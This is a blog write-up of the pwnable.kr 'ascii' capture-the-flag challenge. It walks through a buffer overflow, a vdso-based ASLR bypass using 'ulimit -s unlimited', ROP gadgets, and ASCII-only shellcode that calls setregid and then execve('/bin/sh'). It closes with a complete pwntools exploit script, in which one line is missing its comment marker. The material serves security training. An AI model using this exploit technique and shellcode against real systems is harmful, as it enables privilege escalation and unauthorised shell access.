Pwnable.kr - ascii

Alex Sieusahai · April 3, 2022

Pwnable.kr - Ascii

The challenge can be found here.

Without at least an attempt at the challenge, this writeup will probably not make much sense. This is done to keep at least somewhat in the spirit of pwnable.kr style writeups.

Initial Insights

Upon just running the program, it appears like we take in some data and trigger some bug. For example:

Input text : asdfasfs
triggering bug...

We can really quickly verify a buffer overflow using the following:

my@pc:~/pwnablekr/ascii$ python3 -c "print('a' * 1000)" | ./ascii
Input text : triggering bug...
Segmentation fault (core dumped)

Okay, so we at least have a general idea of what we probably have to do; overwrite the return pointer to some shellcode, and execute it.

This probably means either ROP or stack leak -> shellcode -> ret to stack.

In order for the latter to be the route, we need NX disabled; a quick checksec verification shows that this is not the case:

[*] '/home/alexsieusahai/pwnablekr/ascii/ascii'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Defining The Attack Surface

We can pop the elf into ghidra, and quickly see that any input that is not ascii will be ignored and consequently stop the ingestion of the data.

Very importantly, however, we actually do ingest that one byte that’s not ascii, possibly as an error made on the part of the challenge writer (due to the name ascii implying exclusively ascii shellcode).

Moreover, we can see in the disassembly of vuln, which is called after input ingestion in main, ends up copying our shellcode from the stack to 0x80000000; we probably then have to RET to that location.

Note here that our buffer size is 0xac and we ingest a maximum of 0x400 bytes, so our shellcode should be less than 0xac bytes, with (consequently) a huge allownace for the ropchain of over 0x300 bytes.

With that in mind, we need to somehow include 0x80000000 onto our stack. Clearly, this is an issue due to that number not being within ascii range.

So, a natural next thing to check is whether or not this value exists in our stack somewhere. This is actually immediately true due to 0x80000000 being within a local variable within our vuln stack frame, due to 0x80000000 being used as an argument into strcpy (which is what vuln uses to copy the input data from the stack into 0x80000000). Note that this is only a direct consequence assuming the i386 arch, due to function calling conventions (we push arguments onto the stack).

In particular, we can peek at the stack right before ret in vuln to see how many bytes we have to move esp up by:

(gdb) x/40x $esp
0xff80f71c:     0x55615b59      0x47474747      0x47474747      0x47474747
0xff80f72c:     0x55615b59      0x47474747      0x47474747      0x47474747
0xff80f73c:     0x55615b5a      0x47474747      0x0000009d      0x80000000
0xff80f74c:     0x000000d5      0x00000000      0x00000000      0x08049640
0xff80f75c:     0x08049156      0x00000001      0xff80f7e4      0xff80f7ec
0xff80f76c:     0x00000000      0x00000000      0x00000000      0x080496e0
0xff80f77c:     0x08049640      0x01eec1ff      0x09222810      0x00000000
0xff80f78c:     0x00000000      0x00000000      0x00000000      0x00000000
0xff80f79c:     0x217cc000      0x00000000      0x00000000      0x00000000
0xff80f7ac:     0x00000000      0x00000001      0x00000000      0x00000000

Okay, so we have a little bit more information about what constraints our ROPchain; we have to move esp up 44 bytes so that it points at 0x80000000, then finally RET to that location.

However, in order to do that, we need to have some code which we can ROP onto.

A natural next thing to check out is the procmap of the function at this point:

(gdb) b *main
Breakpoint 1 at 0x8048f0e
(gdb) r
Starting program: /home/ascii/ascii 
(gdb) i proc m
process 262057
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x80ed000    0xa5000        0x0 /home/ascii/ascii
         0x80ed000  0x80ef000     0x2000    0xa5000 /home/ascii/ascii
         0x80ef000  0x80f1000     0x2000        0x0 
         0x926a000  0x928c000    0x22000        0x0 [heap]
        0xf76ff000 0xf7702000     0x3000        0x0 [vvar]
        0xf7702000 0xf7703000     0x1000        0x0 [vdso]
        0xff8e1000 0xff902000    0x21000        0x0 [stack]

All’s great, but we need information about what pages are executable:

ascii@pwnable:/home/ascii cat /proc/262057/maps
08048000-080ed000 r-xp 00000000 103:00 23593832                          /home/ascii/ascii
080ed000-080ef000 rw-p 000a5000 103:00 23593832                          /home/ascii/ascii
080ef000-080f1000 rw-p 00000000 00:00 0 
0926a000-0928c000 rw-p 00000000 00:00 0                                  [heap]
f76ff000-f7702000 r--p 00000000 00:00 0                                  [vvar]
f7702000-f7703000 r-xp 00000000 00:00 0                                  [vdso]
ff8e1000-ff902000 rw-p 00000000 00:00 0                                  [stack]

Okay, so we have (possibly):

  • The code section of ascii
  • vdso (?)

The first one is definitely a no-go because of PIE being disabled, so we’re going to have to look into vdso.

What is vdso and how do we constrain its possible living spaces?

This is worth at least a skim for context.

Okay, so we know that this gets loaded into memory somewhere. In order for that to be true, we can safely assume that this gets mmaped somewhere into memory.

Upon multiple runs it seems like it always sits right below the allowed area for the stack.

Upon a good bit of googling around for how mmap achieves its randomization, I found this. Importantly, look at this snippet

@@ -116,7 +104,7 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
    if (current->flags & PF_RANDOMIZE)
        random_factor = arch_mmap_rnd();
 
-   mm->mmap_legacy_base = mmap_legacy_base(random_factor);
+   mm->mmap_legacy_base = TASK_UNMAPPED_BASE + random_factor;
 
    if (mmap_is_legacy()) {
        mm->mmap_base = mm->mmap_legacy_base;

We can really quickly google for the source code to find:

unsigned long arch_mmap_rnd(void)
{
	unsigned long rnd;

	/*
	 *  8 bits of randomness in 32bit mmaps, 20 address space bits
	 * 28 bits of randomness in 64bit mmaps, 40 address space bits
	 */
	if (mmap_is_ia32())
		rnd = (unsigned long)get_random_int() % (1<<8);
	else
		rnd = (unsigned long)get_random_int() % (1<<28);

	return rnd << PAGE_SHIFT;

Importantly, this is only 8 bits of randomness! So, we can achieve “good” alignment in an expected amount of 2^8 = 256 attempts!

So, if we can control the base location of mmap for VDSO, we have a way to beat ASLR!

A lot more googling around leads me to this; if we can set RLIMIT_STACK to RLIM_INFINITY, we can enable this mmap_legacy function and abuse this lower randomness mmap function in order to solve this problem.

This ends up being very useful; in particular the idea that “each process initially inherits its limit values from its parent, but it can subsequently change them”. In particular, if we can modify the stack limit on the bash process which then spawns the ascii binary via pwn.process, the ascii binary will inherit the values from the parent bash process!

More googling around leads me to this; I’m not on osx but man ulimit leads me to man bash which verifies this to be true. In particular, we find the unlimited keyword, which (hopefully) is effectively RLIM_INFINITY.

The only thing, now, is what TASK_UNMAPPED_BASE is. This explanation of memory layouts in x86_32 ends up giving us what we need. TASK_UNMAPPED_BASE sits right below the soft limit, so unlimited effectively describes the maximum amount that we can reduce our stacksize by.

We can see what this lower limit is by just simply

ascii@pwnable:~$ ulimit -s unlimited
ascii@pwnable:~$ gdb ascii
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ascii...(no debugging symbols found)...done.
(gdb) b *main
Breakpoint 1 at 0x8048f0e
(gdb) r
Starting program: /home/ascii/ascii 

Breakpoint 1, 0x08048f0e in main ()
(gdb) i proc m
process 116251
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x80ed000    0xa5000        0x0 /home/ascii/ascii
         0x80ed000  0x80ef000     0x2000    0xa5000 /home/ascii/ascii
         0x80ef000  0x80f1000     0x2000        0x0 
         0x883c000  0x885e000    0x22000        0x0 [heap]
        0x5556d000 0x55570000     0x3000        0x0 [vvar]
        0x55570000 0x55571000     0x1000        0x0 [vdso]
        0xffdac000 0xffdcd000    0x21000        0x0 [stack]
(gdb) 

Luckily, vdso sits somewhere that’s already in ascii space, considering the last 3 bytes are used to direct our ROPchain to certain gadgets!

Note that, assuming a uniform random distribution over the possible spaces (which we can verify by looking at the random number generation algorithm underlying the value) we can just pick an arbitrary vdso start value from one run and just use that.

Finding Applicable ROPgadgets

This is surprisingly, refreshingly easy to do, after the rabbit hole that was the last section, with ROPgadget: This assumes the same gdb state as above, importantly that the vdso is loaded into memory at the same locations as above:

(gdb) dump memory /tmp/obfuscated/vdso 0x55570000 0x55571000
ascii@pwnable:/tmp/alexsieusahai$ ROPgadget --binary vdso | grep pop
0x000006fb : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e6 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x000007e4 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000006f9 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000a46 : arpl word ptr [ebx + 0x5e5b14c4], ax ; pop edi ; pop ebp ; ret
0x0000068d : cmp eax, ecx ; ja 0x690 ; mov eax, ecx ; pop ebx ; pop ebp ; ret
0x0000068f : ja 0x68e ; mov eax, ecx ; pop ebx ; pop ebp ; ret
0x00000684 : jb 0x699 ; jbe 0x695 ; mov edx, ebx ; pop ebx ; pop ebp ; ret
0x00000686 : jbe 0x693 ; mov edx, ebx ; pop ebx ; pop ebp ; ret
0x00000b01 : je 0xb0b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000a45 : jne 0xab3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000007e5 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x000006fa : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x00000b03 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000aff : mov eax, ecx ; je 0xb0d ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000691 : mov eax, ecx ; pop ebx ; pop ebp ; ret
0x000007e2 : mov ebx, edx ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000688 : mov edx, ebx ; pop ebx ; pop ebp ; ret
0x00000b2d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000b2e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000b2f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000685 : or esi, dword ptr [esi + 5] ; mov edx, ebx ; pop ebx ; pop ebp ; ret
0x00000b30 : pop eax ; mov eax, 0x77 ; int 0x80
0x00000b59 : pop ebp ; pop edx ; pop ecx ; ret
0x0000068b : pop ebp ; ret
0x0000068a : pop ebx ; pop ebp ; ret
0x000006fe : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000b5b : pop ecx ; ret
0x00000700 : pop edi ; pop ebp ; ret
0x00000b5a : pop edx ; pop ecx ; ret
0x000006ff : pop esi ; pop edi ; pop ebp ; ret
0x000006fd : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e3 : rol dword ptr [ebx + 0x5e5b14c4], cl ; pop edi ; pop ebp ; ret
0x00000683 : sal dword ptr [edx + 0xb], cl ; jbe 0x696 ; mov edx, ebx ; pop ebx ; pop ebp ; ret
0x000006fc : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

We can narrow this down manually, first removing any where the last two bytes aren’t in ascii range (0x20-0x7f inclusive):

0x00000a46 : arpl word ptr [ebx + 0x5e5b14c4], ax ; pop edi ; pop ebp ; ret
0x00000a45 : jne 0xab3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000691 : mov eax, ecx ; pop ebx ; pop ebp ; ret
0x00000b2d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000b2e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000b2f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000b30 : pop eax ; mov eax, 0x77 ; int 0x80
0x00000b59 : pop ebp ; pop edx ; pop ecx ; ret
0x00000b5b : pop ecx ; ret
0x00000b5a : pop edx ; pop ecx ; ret
0x00000683 : sal dword ptr [edx + 0xb], cl ; jbe 0x696 ; mov edx, ebx ; pop ebx ; pop ebp ; ret

In particular, these two instructions look attractive:

0x00000b59 : pop ebp ; pop edx ; pop ecx ; ret
0x00000b5a : pop edx ; pop ecx ; ret

We can do the first instruction at 0xb59 twice in order to pop 8 items off the stack, then finally use the second instruction at 0xb5a to pop 3 items off the stack, putting 0x80000000 at the top of the stack (and thus this will be what we end up reting to).

Ascii shellcode?

High level goal

This seems like a great intro to ascii shellcoding, and it was what I used to quickly get up to speed.

I spent a lot of time on an open -> sendfile type of shellcode but I couldn’t get it to work when I was using the actual flag file, for unknown reasons. In particular it seemed really hard in general to get output from the process before death, in which I’m (for reasons I don’t understand, yet) not able to read the output. So, there’s probably an open -> sendfile type solution that exists if you’re careful about output handling somehow, or possibly by crafting an exit syscall after the sendfile, but I wasn’t able to find it.

Our general gameplan is going to be:

  • Elevate the privileges of any spawned processes to be able to read the flag
  • Pop a shell

Looking at the flag and executable perms:

ascii@pwnable:~$ ls -l
total 740
-r-xr-sr-x 1 root ascii_pwn 749493 Aug  6  2014 ascii
-r--r----- 1 root ascii_pwn     54 Aug  6  2014 flag
-r--r----- 1 root ascii_pwn    214 Oct 31  2016 intended_solution.txt

We have to setregid our process in order to have our spawned shell to inherit rgid and egid from the current_task_struct, followed by an execve("/bin/sh", NULL, NULL) call.

We can quickly look at /etc/group in order to determine what value setregid must take:

ascii@pwnable:~$ cat /etc/group | grep ascii
ascii_easy:x:1040:
ascii_easy_pwn:x:1041:
ascii:x:1042:
ascii_pwn:x:1043:

So, we have to craft a shell that will execute

setregid(1043, 1043)
execve(?, 0, 0)

Solving major problems for porting the shellcode to ascii shellcode

If we look at this syscall table, we can see that execve has number 11 and setregid has number 71.

So, in x86_32 assembler, this would look like

mov eax, 71
mov ebx, 1043
mov ecx, 1043
int 0x80 

mov eax, 11
push hs//
push nib/
mov ebx, esp
mov ecx, 0
mov edx, 0
int 0x80

We need analogous primitives that give us something similar.

Thankfully, that link above solves a lot of the problems for us. We have access to push, pop, inc, dec for all registers, and xor al, some_byte. In particular, we can get something like mov for one byte just by doing

push 0x20
pop eax
xor al, 0x20

xor al, desired_byte
push eax
pop desired_register

What is this doing? Firstly, we push 0x20 onto the stack and pop eax, in order to set eax to 0x20. Then, xor al, 0x20 makes the al register equal to 0! Then, since xor 0, x = x, we have a simple way to mov a byte into eax. Finally, we use push eax followed by pop desired_register in order to get the desired value into our desired register.

This is great news, as we solve all of the movs above, except for the instructions involving 1043, which is two bytes.

We can also borrow the solution for int 0x80 in the above article in order to solve the two int 0x80 instructions.

Before we do this, however, we definitely need some domain specific numbers, as 0x80000000 is not ascii.

We can take a look at what our registers are after we finish this ROPchain:

(gdb) i r
eax            0xffbbb310       -4476144
ecx            0x9d     157
edx            0x47474747       1195853639
ebx            0x800000d4       -2147483436
esp            0xffbbb3ec       0xffbbb3ec
ebp            0x47474747       0x47474747
esi            0x0      0
edi            0x80496e0        134518496
eip            0x80000000       0x80000000

In particular, ebx points to the end of our input, and we can certainly manipulate this to get what we need! Also, ecx contains the value of the last character that we ingested; for example, in this sample payload that I used to get here, I arbitrarily chose to use \x9d, allowing us to put 0x9d into our registers for easy use! I didn’t personally end up using this, but this could make our shellcode smaller. Additionally, remember that earlier, we discovered from reverse engineering that the program actually stores one non-ascii byte, followed by what appears to be always zeroes (I believe it’s due to an mmap flag and/or oddity but I never looked into it); we can symlink all bytes to point to /bin/sh in order to easily conquer the ebx register setup for execve!

We can use G = 0x47 as our nop byte, and massage where exactly we place int 0x80; nop; nop = 0x909080cd by xoring some values with 0x47474747. Note that G corresponds to the instruction of inc edi; we will ignore using edi if possible going further.

We will assume (and massage our values of eax) so that [eax] = 0x47474747.

So, we need to xor 0x47474747 with some value so that 0x47474747 ^ some_value = 0x909080cd. 0ue to properties of xor (in paritcular associativity and the fact that xor(x, x) = 0 and xor(x, 0) = x for all x), we then have that

0x47474747 ^ some_value = 0x909080cd
some_value = 0x909080cd ^ 0x47474747
some_value = 0xd7d7c78a

Only, there’s a problem; this value isn’t in ascii space! Thankfully, there’s an easy remedy here, with the following:

push 0x20
pop eax
xor al, 0x20
dec eax

This makes our value of eax = 0xffffffff, and so we then want to find x so that

x ^ 0xffffffff = 0xd7d7c78a
x = 0xd7d7c78a ^ 0xffffffff
x = 0x28283875

So, this finally gives us a way to get the value we need! We’ll store it in esi, mainly because we won’t have any use for esi later. To summarize:

push 0x20
pop eax
xor al, 0x20
dec eax
xor eax, 0x28283875
push eax
pop esi

Now, finally, we just have to manipulate eax so that we place the syscalls far enough apart so that we have space for our shellcode. Note that this massive space for the syscall is unnecessary and was mainly used as huge scratch space for figuring out the syscalls individually; mainly an artifact. Note that this assumes a payload size of 0xd4, and for differing payload sizes different constants would have to be used.

push ebx
pop eax
xor al, 0x72
xor [eax], esi
xor al, 0x26
xor [eax], esi

Solving remaining minor problems and putting the shellcode together

Initially, we do the syscall setup.

push ebx
push 0x20
pop eax
xor al, 0x20
dec eax
xor eax, 0x28283875
push eax
pop esi

push ebx
pop eax
xor al, 0x72
xor [eax], esi
xor al, 0x26
xor [eax], esi

We push ebx to store the pointer to the end of the supplied payload, so we can use that in execve and just point the byte in question to /bin/sh with a symlink.

Now, we have to setup setregid, and consequently solve our last problem.

Thankfully, this solution is very minor; we simply want 0x413 = 1043 in eax, which we can easily do if we start with 0x47474747 in eax:

push 0x20
pop eax
xor al, 0x20
xor eax, 0x47474747
xor eax, 0x47474354
push eax
pop ebx

I’ll save you the xor explanation as it’s more or less a carbon copy of the previous xor constant finding.

Lastly, we also need ecx to have the same value of ebx, which ends up also being nothing surprising:

push ebx
pop ecx

Finally, we just setup eax to be 0x47 = 71:

push 0x20
pop eax
xor al, 0x20
xor al, 0x47

Note again that this is lazy; there’s certainly smaller shellcode here just by being more careful with your xor choice.

I placed my first int 0x80 at 0x8e, so we’ll just forward fill until 0x92:

shellcode = setregid_shellcode
shellcode += 'G' * (0x92 - len(shellcode))

The execve shellcode is very similar (recall that we stored ebx earlier):

pop ebx

push 0x20
pop eax
xor al, 0x20
push eax
pop ecx

push eax
pop edx

xor al, 0x2b
xor al, 0x20

This will setup and run our execve call once we walk upon the int 0x80; nop; nop shellcode we created sometime in the future, using inc edi style nops to walk to that point, now giving us our full shellcode.

Tips for debugging

Something important to note is that we seem to only be able to use gdb on files that we own with pwntools, so if we do something like

cp /home/ascii/ascii /tmp/mydir/ascii_mine

We can get something that we can easily debug with pwntools. Additionally, we can read the procmap for ascii_mine, allowing us to find the vdso offsets at runtime and generate a payload that (should) hit perfectly, mainly debugging comparatively painless.

Additionally, since it takes some time to ingest the payload, batching processes is a very time efficient way to see if your solution works on the true binary; if we don’t get the solution in say, 1000 attempts, something is probably wrong (as we’d expect to get it within 256 attempts with reasonable variance).

The full solution

This is certainly not the cleanest solution, but hopefully with the previous explanation it makes sense at least somewhat:

import time
import os
from sys import exit
from pwn import *

context.arch, context.os = 'i386', 'linux'

VDSO_START = 0x55606000
DEBUG = True
GDB = True

def setup_symlinks(filename):
    for i in range(1, 256):
        i = chr(i)
        if i == '.' or i == '/':
            continue
        try:
            os.remove(i)
        except OSError:
            print(i, 'failed to remove')
            pass
        os.symlink(filename, i)
        print('made symlink for', i)

setup_symlinks("/bin/sh")

def is_ascii(c):
    c = ord(c)
    return c >= 0x20 and c <= 0x7f

zero_out_eax = asm('''
push 0x20
pop eax
xor al, 0x20
''')

setup_int_0x80 = zero_out_eax + asm('''
dec eax
xor eax, 0x28283875
push eax
pop esi

push ebx
pop eax
xor al, 0x72
xor [eax], esi
xor al, 0x26
xor [eax], esi
''')
setup setregid(1043, 1043)
setup_ebx = zero_out_eax + asm('''
xor eax, 0x47474747
xor eax, 0x47474354

push ebx
push eax
pop ebx
''')
setup_ecx = asm('push ebx\npop ecx')
setup_eax = zero_out_eax + asm('xor al, 0x47')
setregid_shellcode = setup_int_0x80 + setup_ebx + setup_ecx + setup_eax

# setup execve(some_bytes, NULL, NULL)
setup_ebx = asm('pop ebx')  # pop off the value we stored
setup_ecx = zero_out_eax + asm('push eax\npop ecx')
setup_edx = asm('push eax\npop edx')
setup_eax = asm('xor al, 0x2b') + asm('xor al, 0x20')
execve_shellcode = setup_ebx + setup_ecx + setup_edx + setup_eax

shellcode = setregid_shellcode
shellcode += 'G' * (0x92 - len(shellcode))
shellcode += execve_shellcode
assert all(map(is_ascii, shellcode))

def gen_payload(vdso_start=None):
    """
    generates payload on the fly for easy DEBUG style testing
    """
    if vdso_start is None:
        vdso_start = VDSO_START
    two_pop_ret = p32(vdso_start + 0xb5a) + b'GGGG'  # pops 3 things off stack
    three_pop_ret = p32(vdso_start + 0xb59) + b'GGGG' * 3  # pops 4 things off stack
    payload = shellcode + b'G' * (0xac - len(shellcode))
    payload += three_pop_ret + three_pop_ret + two_pop_ret
    assert all(map(is_ascii, payload))
    assert len(payload) < 0xac + 44
    return payload

for i in range(1 if DEBUG else 20):
    howmany = 0
    if DEBUG:
        while True:
            p = process('./ascii_mine')
            procq = [p]
            vdso_start = None
            with open('/proc/' + str(p.pid) + '/maps') as f:
                maps = f.read()
            print(maps)
            vdso_start = next(iter(filter(lambda x: 'vdso' in x, maps.split('\n'))))
            vdso_start = eval('0x' + vdso_start.split('-')[0])
            try:
                payload = gen_payload(vdso_start)
                break
            except AssertionError as e:
                print('trying again...' + str(howmany))
                howmany += 1
                p.close()
                continue
    else:
        procq = [process('ascii') for _ in range(100)]

    if DEBUG:
        if GDB:
            gdb.attach(p, gdbscript='''
            display/x $eax
            display/10i $eip
            b *0x8048f0d
            c
            b *0x80000000
            ''')
            payload += b'\x9d'
            p.send(payload)
            raw_input('waiting for input...')
        else:
            p.send(payload)
    else:
        for p in procq:
            payload = gen_payload(VDSO_START)
            payload += b'\x9d'
            p.send(payload)

    for p in procq:
        if p.poll() is None:
            print('got one!')
            p.interactive()
            exit(0)
        p.close()

Twitter, Facebook